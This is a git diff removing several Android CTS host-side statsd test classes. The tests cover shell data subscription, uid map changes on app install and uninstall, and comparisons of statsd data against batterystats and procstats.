-package android.cts.statsd.subscriber;
-
-import static com.google.common.truth.Truth.assertThat;
-import static com.google.common.truth.Truth.assertWithMessage;
-
-import com.android.compatibility.common.util.CpuFeatures;
-import com.android.internal.os.StatsdConfigProto;
-import com.android.os.AtomsProto.Atom;
-import com.android.os.AtomsProto.SystemUptime;
-import com.android.os.ShellConfig;
-import com.android.os.statsd.ShellDataProto;
-import com.android.tradefed.device.CollectingByteOutputReceiver;
-import com.android.tradefed.device.DeviceNotAvailableException;
-import com.android.tradefed.device.ITestDevice;
-import com.android.tradefed.log.LogUtil;
-import com.android.tradefed.testtype.DeviceTestCase;
-import com.google.common.io.Files;
-import com.google.protobuf.InvalidProtocolBufferException;
-
-import java.io.File;
-import java.nio.ByteBuffer;
-import java.nio.ByteOrder;
-import java.util.Arrays;
-import java.util.concurrent.TimeUnit;
-
-/**
- * Statsd shell data subscription test.
- */
-public class ShellSubscriberTest extends DeviceTestCase {
-    private int sizetBytes;
-
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
-        sizetBytes = getSizetBytes();
-    }
-
-    public void testShellSubscription() {
-        if (sizetBytes < 0) {
-            return;
-        }
-
-        ShellConfig.ShellSubscription config = createConfig();
-        CollectingByteOutputReceiver receiver = new CollectingByteOutputReceiver();
-        startSubscription(config, receiver, /*maxTimeoutForCommandSec=*/5,
-                /*subscriptionTimeSec=*/5);
-        checkOutput(receiver);
-    }
-
-    public void testShellSubscriptionReconnect() {
-        if (sizetBytes < 0) {
-            return;
-        }
-
-        ShellConfig.ShellSubscription config = createConfig();
-        for (int i = 0; i < 5; i++) {
-            CollectingByteOutputReceiver receiver = new CollectingByteOutputReceiver();
-            // A subscription time of -1 means that statsd will not impose a timeout on the
-            // subscription. Thus, the client will exit before statsd ends the subscription.
-            startSubscription(config, receiver, /*maxTimeoutForCommandSec=*/5,
-                    /*subscriptionTimeSec=*/-1);
-            checkOutput(receiver);
-        }
-    }
-
-    private int getSizetBytes() {
-        try {
-            ITestDevice device = getDevice();
-            if (CpuFeatures.isArm64(device)) {
-                return 8;
-            }
-            if (CpuFeatures.isArm32(device)) {
-                return 4;
-            }
-            return -1;
-        } catch (DeviceNotAvailableException e) {
-            return -1;
-        }
-    }
-
-    // Choose a pulled atom that is likely to be supported on all devices (SYSTEM_UPTIME). Testing
-    // pushed atoms is trickier because executeShellCommand() is blocking, so we cannot push a
-    // breadcrumb event while the shell subscription is running.
-    private ShellConfig.ShellSubscription createConfig() {
-        return ShellConfig.ShellSubscription.newBuilder()
-                .addPulled(ShellConfig.PulledAtomSubscription.newBuilder()
-                        .setMatcher(StatsdConfigProto.SimpleAtomMatcher.newBuilder()
-                                .setAtomId(Atom.SYSTEM_UPTIME_FIELD_NUMBER))
-                        .setFreqMillis(2000))
-                .build();
-    }
-
-    /**
-     * @param maxTimeoutForCommandSec maximum time imposed by adb that the command will run
-     * @param subscriptionTimeSec maximum time imposed by statsd that the subscription will last
-     */
-    private void startSubscription(
-            ShellConfig.ShellSubscription config,
-            CollectingByteOutputReceiver receiver,
-            int maxTimeoutForCommandSec,
-            int subscriptionTimeSec) {
-        LogUtil.CLog.d("Uploading the following config:\n" + config.toString());
-        try {
-            File configFile = File.createTempFile("shellconfig", ".config");
-            configFile.deleteOnExit();
-            int length = config.toByteArray().length;
-            byte[] combined = new byte[sizetBytes + config.toByteArray().length];
-
-            System.arraycopy(IntToByteArrayLittleEndian(length), 0, combined, 0, sizetBytes);
-            System.arraycopy(config.toByteArray(), 0, combined, sizetBytes, length);
-
-            Files.write(combined, configFile);
-            String remotePath = "/data/local/tmp/" + configFile.getName();
-            getDevice().pushFile(configFile, remotePath);
-            LogUtil.CLog.d("waiting....................");
-
-            String cmd = String.join(" ", "cat", remotePath, "|", "cmd stats data-subscribe",
-                  String.valueOf(subscriptionTimeSec));
-
-
-            getDevice().executeShellCommand(cmd, receiver, maxTimeoutForCommandSec,
-                    /*maxTimeToOutputShellResponse=*/maxTimeoutForCommandSec, TimeUnit.SECONDS,
-                    /*retryAttempts=*/0);
-            getDevice().executeShellCommand("rm " + remotePath);
-        } catch (Exception e) {
-            fail(e.getMessage());
-        }
-    }
-
-    private byte[] IntToByteArrayLittleEndian(int length) {
-        ByteBuffer b = ByteBuffer.allocate(sizetBytes);
-        b.order(ByteOrder.LITTLE_ENDIAN);
-        b.putInt(length);
-        return b.array();
-    }
-
-    // We do not know how much data will be returned, but we can check the data format.
-    private void checkOutput(CollectingByteOutputReceiver receiver) {
-        int atomCount = 0;
-        int startIndex = 0;
-
-        byte[] output = receiver.getOutput();
-        assertThat(output.length).isGreaterThan(0);
-        while (output.length > startIndex) {
-            assertThat(output.length).isAtLeast(startIndex + sizetBytes);
-            int dataLength = readSizetFromByteArray(output, startIndex);
-            if (dataLength == 0) {
-                // We have received a heartbeat from statsd. This heartbeat isn't accompanied by any
-                // atoms so return to top of while loop.
-                startIndex += sizetBytes;
-                continue;
-            }
-            assertThat(output.length).isAtLeast(startIndex + sizetBytes + dataLength);
-
-            ShellDataProto.ShellData data = null;
-            try {
-                int dataStart = startIndex + sizetBytes;
-                int dataEnd = dataStart + dataLength;
-                data = ShellDataProto.ShellData.parseFrom(
-                        Arrays.copyOfRange(output, dataStart, dataEnd));
-            } catch (InvalidProtocolBufferException e) {
-                fail("Failed to parse proto");
-            }
-
-            assertThat(data.getAtomCount()).isEqualTo(1);
-            assertThat(data.getAtom(0).hasSystemUptime()).isTrue();
-            assertThat(data.getAtom(0).getSystemUptime().getUptimeMillis()).isGreaterThan(0L);
-            atomCount++;
-            startIndex += sizetBytes + dataLength;
-        }
-        assertThat(atomCount).isGreaterThan(0);
-    }
-
-    // Converts the bytes in range [startIndex, startIndex + sizetBytes) from a little-endian array
-    // into an integer. Even though sizetBytes could be greater than 4, we assume that the result
-    // will fit within an int.
-    private int readSizetFromByteArray(byte[] arr, int startIndex) {
-        int value = 0;
-        for (int j = 0; j < sizetBytes; j++) {
-            value += ((int) arr[j + startIndex] & 0xffL) << (8 * j);
-        }
-        return value;
-    }
-}
diff --git a/hostsidetests/statsd/src/android/cts/statsd/uidmap/UidMapTests.java b/hostsidetests/statsd/src/android/cts/statsd/uidmap/UidMapTests.java
deleted file mode 100644
index db5cba5..0000000
--- a/hostsidetests/statsd/src/android/cts/statsd/uidmap/UidMapTests.java
+++ /dev/null
@@ -1,136 +0,0 @@
-/*
- * Copyright (C) 2018 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package android.cts.statsd.uidmap;
-
-import static com.google.common.truth.Truth.assertThat;
-
-import android.cts.statsd.atom.DeviceAtomTestCase;
-import com.android.compatibility.common.tradefed.build.CompatibilityBuildHelper;
-import com.android.internal.os.StatsdConfigProto;
-import com.android.os.AtomsProto;
-import com.android.os.StatsLog.ConfigMetricsReportList;
-import com.android.os.StatsLog.ConfigMetricsReport;
-import com.android.os.StatsLog.UidMapping;
-import com.android.os.StatsLog.UidMapping.PackageInfoSnapshot;
-import com.android.tradefed.log.LogUtil;
-
-import java.util.List;
-
-public class UidMapTests extends DeviceAtomTestCase {
-
-    // Tests that every report has at least one snapshot.
-    public void testUidSnapshotIncluded() throws Exception {
-        // There should be at least the test app installed during the test setup.
-        createAndUploadConfig(AtomsProto.Atom.UID_PROCESS_STATE_CHANGED_FIELD_NUMBER);
-
-        ConfigMetricsReportList reports = getReportList();
-        assertThat(reports.getReportsCount()).isGreaterThan(0);
-
-        for (ConfigMetricsReport report : reports.getReportsList()) {
-            UidMapping uidmap = report.getUidMap();
-            assertThat(uidmap.getSnapshotsCount()).isGreaterThan(0);
-            for (PackageInfoSnapshot snapshot : uidmap.getSnapshotsList()) {
-                // There must be at least one element in each snapshot (at least one package is
-                // installed).
-                assertThat(snapshot.getPackageInfoCount()).isGreaterThan(0);
-            }
-        }
-    }
-
-    private boolean hasMatchingChange(UidMapping uidmap, int uid, boolean expectDeletion) {
-        LogUtil.CLog.d("The uid we are looking for is " + uid);
-        for (UidMapping.Change change : uidmap.getChangesList()) {
-            if (change.getAppHash() == DEVICE_SIDE_TEST_PKG_HASH && change.getUid() == uid) {
-                if (change.getDeletion() == expectDeletion) {
-                    return true;
-                }
-            }
-        }
-        return false;
-    }
-
-    // Tests that delta event included during app installation.
-    public void testChangeFromInstallation() throws Exception {
-        getDevice().uninstallPackage(DEVICE_SIDE_TEST_PACKAGE);
-        createAndUploadConfig(AtomsProto.Atom.UID_PROCESS_STATE_CHANGED_FIELD_NUMBER);
-        // Install the package after the config is sent to statsd. The uid map is not guaranteed to
-        // be updated if there's no config in statsd.
-        CompatibilityBuildHelper buildHelper = new CompatibilityBuildHelper(mCtsBuild);
-        final String result = getDevice().installPackage(
-                buildHelper.getTestFile(DEVICE_SIDE_TEST_APK), false, true);
-
-        Thread.sleep(WAIT_TIME_LONG);
-
-        ConfigMetricsReportList reports = getReportList();
-        assertThat(reports.getReportsCount()).isGreaterThan(0);
-
-        boolean found = false;
-        int uid = getUid();
-        for (ConfigMetricsReport report : reports.getReportsList()) {
-            LogUtil.CLog.d("Got the following report: \n" + report.toString());
-            if (hasMatchingChange(report.getUidMap(), uid, false)) {
-                found = true;
-            }
-        }
-        assertThat(found).isTrue();
-    }
-
-    // We check that a re-installation gives a change event (similar to an app upgrade).
-    public void testChangeFromReinstall() throws Exception {
-        CompatibilityBuildHelper buildHelper = new CompatibilityBuildHelper(mCtsBuild);
-        getDevice().installPackage(buildHelper.getTestFile(DEVICE_SIDE_TEST_APK), false, true);
-        createAndUploadConfig(AtomsProto.Atom.UID_PROCESS_STATE_CHANGED_FIELD_NUMBER);
-        // Now enable re-installation.
-        getDevice().installPackage(buildHelper.getTestFile(DEVICE_SIDE_TEST_APK), true, true);
-
-        Thread.sleep(WAIT_TIME_SHORT);
-
-        ConfigMetricsReportList reports = getReportList();
-        assertThat(reports.getReportsCount()).isGreaterThan(0);
-
-        boolean found = false;
-        int uid = getUid();
-        for (ConfigMetricsReport report : reports.getReportsList()) {
-            LogUtil.CLog.d("Got the following report: \n" + report.toString());
-            if (hasMatchingChange(report.getUidMap(), uid, false)) {
-                found = true;
-            }
-        }
-        assertThat(found).isTrue();
-    }
-
-    public void testChangeFromUninstall() throws Exception {
-        CompatibilityBuildHelper buildHelper = new CompatibilityBuildHelper(mCtsBuild);
-        getDevice().installPackage(buildHelper.getTestFile(DEVICE_SIDE_TEST_APK), true, true);
-        createAndUploadConfig(AtomsProto.Atom.UID_PROCESS_STATE_CHANGED_FIELD_NUMBER);
-        int uid = getUid();
-        getDevice().uninstallPackage(DEVICE_SIDE_TEST_PACKAGE);
-
-        Thread.sleep(WAIT_TIME_SHORT);
-
-        ConfigMetricsReportList reports = getReportList();
-        assertThat(reports.getReportsCount()).isGreaterThan(0);
-
-        boolean found = false;
-        for (ConfigMetricsReport report : reports.getReportsList()) {
-            LogUtil.CLog.d("Got the following report: \n" + report.toString());
-            if (hasMatchingChange(report.getUidMap(), uid, true)) {
-                found = true;
-            }
-        }
-        assertThat(found).isTrue();
-    }
-}
diff --git a/hostsidetests/statsd/src/android/cts/statsd/validation/BatteryStatsValidationTests.java b/hostsidetests/statsd/src/android/cts/statsd/validation/BatteryStatsValidationTests.java
deleted file mode 100644
index 125a32a..0000000
--- a/hostsidetests/statsd/src/android/cts/statsd/validation/BatteryStatsValidationTests.java
+++ /dev/null
@@ -1,209 +0,0 @@
-/*
- * Copyright (C) 2018 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package android.cts.statsd.validation;
-
-import static com.google.common.truth.Truth.assertThat;
-import static com.google.common.truth.Truth.assertWithMessage;
-
-import android.cts.statsd.atom.DeviceAtomTestCase;
-import android.os.BatteryStatsProto;
-import android.os.UidProto;
-import android.os.UidProto.Package;
-import android.os.UidProto.Package.Service;
-
-import com.android.internal.os.StatsdConfigProto.StatsdConfig;
-import com.android.os.AtomsProto.Atom;
-import com.android.os.AtomsProto.DeviceCalculatedPowerBlameUid;
-import com.android.os.StatsLog.DimensionsValue;
-import com.android.os.StatsLog.CountMetricData;
-import com.android.tradefed.log.LogUtil;
-import com.android.tradefed.log.LogUtil.CLog;
-
-import java.util.List;
-
-/**
- * Side-by-side comparison between statsd and batterystats.
- */
-public class BatteryStatsValidationTests extends DeviceAtomTestCase {
-
-    private static final String TAG = "Statsd.BatteryStatsValidationTests";
-
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
-        resetBatteryStatus();
-        unplugDevice();
-    }
-
-    @Override
-    protected void tearDown() throws Exception {
-        plugInUsb();
-        super.tearDown();
-    }
-
-    /*
-    public void testConnectivityStateChange() throws Exception {
-        if (!hasFeature(FEATURE_WIFI, true)) return;
-        if (!hasFeature(FEATURE_WATCH, false)) return;
-        if (!hasFeature(FEATURE_LEANBACK_ONLY, false)) return;
-        final String fileName = "BATTERYSTATS_CONNECTIVITY_STATE_CHANGE_COUNT.pbtxt";
-        StatsdConfig config = createValidationUtil().getConfig(fileName);
-        LogUtil.CLog.d("Updating the following config:\n" + config.toString());
-        uploadConfig(config);
-
-        Thread.sleep(WAIT_TIME_SHORT);
-
-        turnOnAirplaneMode();
-        turnOffAirplaneMode();
-        // wait for long enough for device to restore connection
-        Thread.sleep(13_000);
-
-        BatteryStatsProto batterystatsProto = getBatteryStatsProto();
-        List<CountMetricData> countMetricData = getCountMetricDataList();
-        assertThat(countMetricData).hasSize(1);
-        assertThat(countMetricData.get(0).getBucketInfoCount()).isEqualTo(1);
-        assertThat(countMetricData.get(0).getBucketInfo(0).getCount()).isAtLeast(2L);
-        assertThat(countMetricData.get(0).getBucketInfo(0).getCount()).isEqualTo(
-                (long) batterystatsProto.getSystem().getMisc().getNumConnectivityChanges());
-    }
-    */
-
-    public void testPowerUse() throws Exception {
-        if (!hasFeature(FEATURE_LEANBACK_ONLY, false)) return;
-        resetBatteryStats();
-        unplugDevice();
-
-        final double ALLOWED_FRACTIONAL_DIFFERENCE = 0.7; // ratio that statsd and bs can differ
-
-        StatsdConfig.Builder config = createConfigBuilder();
-        addGaugeAtomWithDimensions(config, Atom.DEVICE_CALCULATED_POWER_USE_FIELD_NUMBER, null);
-        uploadConfig(config);
-        unplugDevice();
-
-        Thread.sleep(WAIT_TIME_LONG);
-        runDeviceTests(DEVICE_SIDE_TEST_PACKAGE, ".AtomTests", "testSimpleCpu");
-        Thread.sleep(WAIT_TIME_LONG);
-
-        setAppBreadcrumbPredicate();
-        BatteryStatsProto batterystatsProto = getBatteryStatsProto();
-        Thread.sleep(WAIT_TIME_LONG);
-        List<Atom> atomList = getGaugeMetricDataList();
-
-        // Extract statsd data
-        Atom atom = atomList.get(0);
-        long statsdPowerNas = atom.getDeviceCalculatedPowerUse().getComputedPowerNanoAmpSecs();
-        assertThat(statsdPowerNas).isGreaterThan(0L);
-
-        // Extract BatteryStats data
-        double bsPowerNas = batterystatsProto.getSystem().getPowerUseSummary().getComputedPowerMah()
-                * 1_000_000L * 3600L; /* mAh to nAs */
-        assertThat(bsPowerNas).isGreaterThan(0d);
-
-        assertThat((double) statsdPowerNas)
-                .isGreaterThan(ALLOWED_FRACTIONAL_DIFFERENCE * bsPowerNas);
-        assertThat(bsPowerNas).isGreaterThan(ALLOWED_FRACTIONAL_DIFFERENCE * statsdPowerNas);
-    }
-
-    public void testServiceStartCount() throws Exception {
-        final String fileName = "BATTERYSTATS_SERVICE_START_COUNT.pbtxt";
-        StatsdConfig config = createValidationUtil().getConfig(fileName);
-        LogUtil.CLog.d("Updating the following config:\n" + config.toString());
-        uploadConfig(config);
-
-        Thread.sleep(WAIT_TIME_SHORT);
-
-        runDeviceTests(DEVICE_SIDE_TEST_PACKAGE, ".AtomTests", "testForegroundService");
-
-        BatteryStatsProto batterystatsProto = getBatteryStatsProto();
-        List<CountMetricData> countMetricData = getCountMetricDataList();
-        assertThat(countMetricData).isNotEmpty();
-        int uid = getUid();
-        long countFromStatsd = 0;
-        for (CountMetricData data : countMetricData) {
-            List<DimensionsValue> dims = data.getDimensionLeafValuesInWhatList();
-            if (dims.get(0).getValueInt() == uid) {
-                assertThat(dims.get(1).getValueStr()).isEqualTo(DEVICE_SIDE_TEST_PACKAGE);
-                assertThat(dims.get(2).getValueStr())
-                        .isEqualTo(DEVICE_SIDE_TEST_FOREGROUND_SERVICE_NAME);
-                countFromStatsd = data.getBucketInfo(0).getCount();
-                assertThat(countFromStatsd).isGreaterThan(0L);
-            }
-        }
-        long countFromBS = 0;
-        for (UidProto uidProto : batterystatsProto.getUidsList()) {
-            if (uidProto.getUid() == uid) {
-                for (Package pkg : uidProto.getPackagesList()) {
-                    if (pkg.getName().equals(DEVICE_SIDE_TEST_PACKAGE)) {
-                        for (Service svc : pkg.getServicesList()) {
-                            if (svc.getName().equals(DEVICE_SIDE_TEST_FOREGROUND_SERVICE_NAME)) {
-                                countFromBS = svc.getStartCount();
-                                assertThat(countFromBS).isGreaterThan(0L);
-                            }
-                        }
-                    }
-                }
-            }
-        }
-        assertThat(countFromStatsd).isGreaterThan(0L);
-        assertThat(countFromBS).isGreaterThan(0L);
-        assertThat(countFromBS).isEqualTo(countFromStatsd);
-    }
-
-    public void testServiceLaunchCount() throws Exception {
-        final String fileName = "BATTERYSTATS_SERVICE_LAUNCH_COUNT.pbtxt";
-        StatsdConfig config = createValidationUtil().getConfig(fileName);
-        LogUtil.CLog.d("Updating the following config:\n" + config.toString());
-        uploadConfig(config);
-
-        Thread.sleep(WAIT_TIME_SHORT);
-
-        runDeviceTests(DEVICE_SIDE_TEST_PACKAGE, ".AtomTests", "testForegroundService");
-
-        BatteryStatsProto batterystatsProto = getBatteryStatsProto();
-        List<CountMetricData> countMetricData = getCountMetricDataList();
-        assertThat(countMetricData).isNotEmpty();
-        int uid = getUid();
-        long countFromStatsd = 0;
-        for (CountMetricData data : countMetricData) {
-            List<DimensionsValue> dims = data.getDimensionLeafValuesInWhatList();
-            if (dims.get(0).getValueInt() == uid) {
-                assertThat(dims.get(1).getValueStr()).isEqualTo(DEVICE_SIDE_TEST_PACKAGE);
-                assertThat(dims.get(2).getValueStr())
-                        .isEqualTo(DEVICE_SIDE_TEST_FOREGROUND_SERVICE_NAME);
-                countFromStatsd = data.getBucketInfo(0).getCount();
-                assertThat(countFromStatsd).isGreaterThan(0L);
-            }
-        }
-        long countFromBS = 0;
-        for (UidProto uidProto : batterystatsProto.getUidsList()) {
-            if (uidProto.getUid() == uid) {
-                for (Package pkg : uidProto.getPackagesList()) {
-                    if (pkg.getName().equals(DEVICE_SIDE_TEST_PACKAGE)) {
-                        for (Service svc : pkg.getServicesList()) {
-                            if (svc.getName().equals(DEVICE_SIDE_TEST_FOREGROUND_SERVICE_NAME)) {
-                                countFromBS = svc.getLaunchCount();
-                                assertThat(countFromBS).isGreaterThan(0L);
-                            }
-                        }
-                    }
-                }
-            }
-        }
-        assertThat(countFromStatsd).isGreaterThan(0L);
-        assertThat(countFromBS).isGreaterThan(0L);
-        assertThat(countFromBS).isEqualTo(countFromStatsd);
-    }
-}
diff --git a/hostsidetests/statsd/src/android/cts/statsd/validation/DirectoryValidationTest.java b/hostsidetests/statsd/src/android/cts/statsd/validation/DirectoryValidationTest.java
deleted file mode 100644
index 37ded0b..0000000
--- a/hostsidetests/statsd/src/android/cts/statsd/validation/DirectoryValidationTest.java
+++ /dev/null
@@ -1,34 +0,0 @@
-package android.cts.statsd.validation;
-
-import android.cts.statsd.atom.DeviceAtomTestCase;
-
-/**
- * Tests Suite for directories used by Statsd.
- */
-public class DirectoryValidationTest extends DeviceAtomTestCase {
-
-    public void testStatsActiveMetricDirectoryExists() throws Exception {
-        runDeviceTests(DEVICE_SIDE_TEST_PACKAGE,
-                ".DirectoryTests", "testStatsActiveMetricDirectoryExists");
-    }
-
-    public void testStatsDataDirectoryExists() throws Exception {
-        runDeviceTests(DEVICE_SIDE_TEST_PACKAGE,
-                ".DirectoryTests", "testStatsDataDirectoryExists");
-    }
-
-    public void testStatsMetadataDirectoryExists() throws Exception {
-        runDeviceTests(DEVICE_SIDE_TEST_PACKAGE,
-                ".DirectoryTests", "testStatsMetadataDirectoryExists");
-    }
-
-    public void testStatsServiceDirectoryExists() throws Exception {
-        runDeviceTests(DEVICE_SIDE_TEST_PACKAGE,
-                ".DirectoryTests", "testStatsServiceDirectoryExists");
-    }
-
-    public void testTrainInfoDirectoryExists() throws Exception {
-        runDeviceTests(DEVICE_SIDE_TEST_PACKAGE,
-                ".DirectoryTests", "testTrainInfoDirectoryExists");
-    }
-}
diff --git a/hostsidetests/statsd/src/android/cts/statsd/validation/ProcStatsValidationTests.java b/hostsidetests/statsd/src/android/cts/statsd/validation/ProcStatsValidationTests.java
deleted file mode 100644
index 5b42aa9..0000000
--- a/hostsidetests/statsd/src/android/cts/statsd/validation/ProcStatsValidationTests.java
+++ /dev/null
@@ -1,306 +0,0 @@
-/*
- * Copyright (C) 2018 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package android.cts.statsd.validation;
-
-import static com.google.common.truth.Truth.assertThat;
-
-import android.cts.statsd.atom.ProcStateTestCase;
-import android.service.procstats.ProcessState;
-import android.service.procstats.AggregatedProcessState;
-
-import com.android.internal.os.StatsdConfigProto.StatsdConfig;
-import com.android.os.AtomsProto.Atom;
-import com.android.os.AtomsProto.ProcessStateAggregated;
-import com.android.os.AtomsProto.ProcessStatsPackageProto;
-import com.android.os.AtomsProto.ProcessStatsProto;
-import com.android.os.AtomsProto.ProcessStatsStateProto;
-import com.android.os.StatsLog.DimensionsValue;
-import com.android.os.StatsLog.ValueBucketInfo;
-import com.android.os.StatsLog.ValueMetricData;
-import com.android.tradefed.log.LogUtil;
-
-import java.util.List;
-
-/**
- * Side-by-side comparison between statsd and procstats.
- */
-public class ProcStatsValidationTests extends ProcStateTestCase {
-
-    private static final String TAG = "Statsd.ProcStatsValidationTests";
-
-    private static final int EXTRA_WAIT_TIME_MS = 1_000; // as buffer when proc state changing.
-
-    public void testProcessStatePssValue() throws Exception {
-        final String fileName = "PROCSTATSQ_PROCS_STATE_PSS_VALUE.pbtxt";
-        StatsdConfig config = createValidationUtil().getConfig(fileName);
-        LogUtil.CLog.d("Updating the following config:\n" + config.toString());
-        uploadConfig(config);
-        clearProcStats();
-        toggleScreenAndSleep(WAIT_TIME_SHORT);
-
-        // foreground service
-        executeForegroundService();
-        toggleScreenAndSleep(SLEEP_OF_FOREGROUND_SERVICE + EXTRA_WAIT_TIME_MS);
-        // background
-        executeBackgroundService(ACTION_BACKGROUND_SLEEP);
-        toggleScreenAndSleep(SLEEP_OF_ACTION_BACKGROUND_SLEEP + EXTRA_WAIT_TIME_MS);
-        // top
-        executeForegroundActivity(ACTION_LONG_SLEEP_WHILE_TOP);
-        toggleScreenAndSleep(SLEEP_OF_ACTION_LONG_SLEEP_WHILE_TOP + EXTRA_WAIT_TIME_MS);
-        // Start extremely short-lived activity, so app goes into cache state (#1 - #3 above).
-        executeBackgroundService(ACTION_END_IMMEDIATELY);
-        final int cacheTime = 2_000; // process should be in cached state for up to this long
-        toggleScreenAndSleep(cacheTime);
-        // foreground
-        // overlay should take 2 sec to appear. So this makes it 4 sec in TOP
-        executeForegroundActivity(ACTION_SHOW_APPLICATION_OVERLAY);
-        toggleScreenAndSleep(EXTRA_WAIT_TIME_MS + 5_000);
-
-        // Sorted list of events in order in which they occurred.
-        List<ValueMetricData> statsdData = getValueMetricDataList();
-
-        List<ProcessStatsProto> processStatsProtoList = getProcStatsProto();
-
-        LogUtil.CLog.d("======================");
-
-        String statsdPkgName = "com.android.server.cts.device.statsd";
-        double valueInStatsd = 0;
-        for (ValueMetricData d : statsdData) {
-            List<DimensionsValue> dimensionsValuesInWhat = d.getDimensionLeafValuesInWhatList();
-            if (dimensionsValuesInWhat.get(0).getValueStr().equals(statsdPkgName)
-                    && dimensionsValuesInWhat.get(1).getValueStr().equals(statsdPkgName)) {
-                LogUtil.CLog.d(d.toString());
-                for (ValueBucketInfo bucket : d.getBucketInfoList()) {
-                    valueInStatsd = Math.max(bucket.getValues(0).getValueLong(), valueInStatsd);
-                }
-            }
-        }
-
-        double valueInProcStats = 0;
-        for (ProcessStatsProto p : processStatsProtoList) {
-            if (p.getProcess().equals(statsdPkgName)) {
-                LogUtil.CLog.d(p.toString());
-                for (ProcessStatsStateProto s : p.getStatesList()) {
-                    valueInProcStats = Math.max(s.getPss().getMax(), valueInProcStats);
-                }
-            }
-        }
-        assertThat(valueInProcStats).isGreaterThan(0d);
-        assertThat(valueInStatsd).isWithin(1e-10).of(valueInProcStats);
-    }
-
-    private void toggleScreenAndSleep(final long duration) throws Exception {
-        final long half = duration >> 1;
-        Thread.sleep(half);
-        turnScreenOff();
-        Thread.sleep(half);
-        turnScreenOn();
-    }
-
-    public void testProcessStateByPulling() throws Exception {
-        startProcStatsTesting();
-        clearProcStats();
-        Thread.sleep(WAIT_TIME_SHORT);
-
-        // foreground service
-        executeForegroundService();
-        Thread.sleep(SLEEP_OF_FOREGROUND_SERVICE + EXTRA_WAIT_TIME_MS);
-        // background
-        executeBackgroundService(ACTION_BACKGROUND_SLEEP);
-        Thread.sleep(SLEEP_OF_ACTION_BACKGROUND_SLEEP + EXTRA_WAIT_TIME_MS);
-        // top
-        executeForegroundActivity(ACTION_SLEEP_WHILE_TOP);
-        Thread.sleep(SLEEP_OF_ACTION_SLEEP_WHILE_TOP + EXTRA_WAIT_TIME_MS);
-        // Start extremely short-lived activity, so app goes into cache state (#1 - #3 above).
-        executeBackgroundService(ACTION_END_IMMEDIATELY);
-        final int cacheTime = 2_000; // process should be in cached state for up to this long
-        Thread.sleep(cacheTime);
-        // foreground
-        // overlay should take 2 sec to appear. So this makes it 4 sec in TOP
-        executeForegroundActivity(ACTION_SHOW_APPLICATION_OVERLAY);
-        Thread.sleep(EXTRA_WAIT_TIME_MS + 5_000);
-
-        Thread.sleep(60_000);
-        uninstallPackage();
-        stopProcStatsTesting();
-        commitProcStatsToDisk();
-        Thread.sleep(WAIT_TIME_SHORT);
-
-        final String fileName = "PROCSTATSQ_PULL.pbtxt";
-        StatsdConfig config = createValidationUtil().getConfig(fileName);
-        LogUtil.CLog.d("Updating the following config:\n" + config.toString());
-        uploadConfig(config);
-        Thread.sleep(WAIT_TIME_SHORT);
-        setAppBreadcrumbPredicate();
-        Thread.sleep(WAIT_TIME_SHORT + 5_000);
-
-        List<Atom> statsdData = getGaugeMetricDataList();
-
-        List<android.service.procstats.ProcessStatsProto> processStatsProtoList
-                = getAllProcStatsProtoForStatsd();
-
-        // We pull directly from ProcessStatsService, so not necessary to compare every field.
-        // Make sure that 1. both capture statsd package 2. spot check some values are reasonable
-        LogUtil.CLog.d("======================");
-
-        String statsdPkgName = "com.android.server.cts.device.statsd";
-        long rssAvgStatsd = 0;
-        for (Atom d : statsdData) {
-            for (ProcessStatsProto proc : d.getProcStats().getProcStatsSection().getProcessStatsList()) {
-                if (proc.getProcess().equals(statsdPkgName)) {
-                    LogUtil.CLog.d("Got proto from statsd:");
-                    LogUtil.CLog.d(proc.toString());
-                    for (ProcessStatsStateProto state : proc.getStatesList()) {
-                        if (state.getProcessStateAggregated()
-                                == ProcessStateAggregated.PROCESS_STATE_IMPORTANT_FOREGROUND) {
-                            rssAvgStatsd = state.getRss().getMeanKb();
-                        }
-                    }
-                }
-            }
-        }
-
-        long rssAvgProcstats = 0;
-        for (android.service.procstats.ProcessStatsProto process: processStatsProtoList) {
-            if (process.getProcess().equals(statsdPkgName)) {
-                LogUtil.CLog.d("Got proto from procstats dumpsys:");
-                LogUtil.CLog.d(process.toString());
-                for (android.service.procstats.ProcessStatsStateProto state
-                        : process.getStatesList()) {
-                    if (AggregatedProcessState.AGGREGATED_PROCESS_STATE_IMPORTANT_FOREGROUND
-                            == state.getProcessStateAggregated()) {
-                        rssAvgProcstats = state.getRss().getMeanKb();
-                        break;
-                    }
-                }
-            }
-        }
-
-        assertThat(rssAvgStatsd).isEqualTo(rssAvgProcstats);
-    }
-
-    public void testProcStatsPkgProcStats() throws Exception {
-        /**
-         * Temporarily disable this test as the proc stats data being pulled into the statsd
-         * doesn't include the pkg part now.
-         *
-        startProcStatsTesting();
-        clearProcStats();
-        Thread.sleep(WAIT_TIME_SHORT);
-
-        // foreground service
-        executeForegroundService();
-        Thread.sleep(SLEEP_OF_FOREGROUND_SERVICE + EXTRA_WAIT_TIME_MS);
-        // background
-        executeBackgroundService(ACTION_BACKGROUND_SLEEP);
-        Thread.sleep(SLEEP_OF_ACTION_BACKGROUND_SLEEP + EXTRA_WAIT_TIME_MS);
-        // top
-        executeForegroundActivity(ACTION_SLEEP_WHILE_TOP);
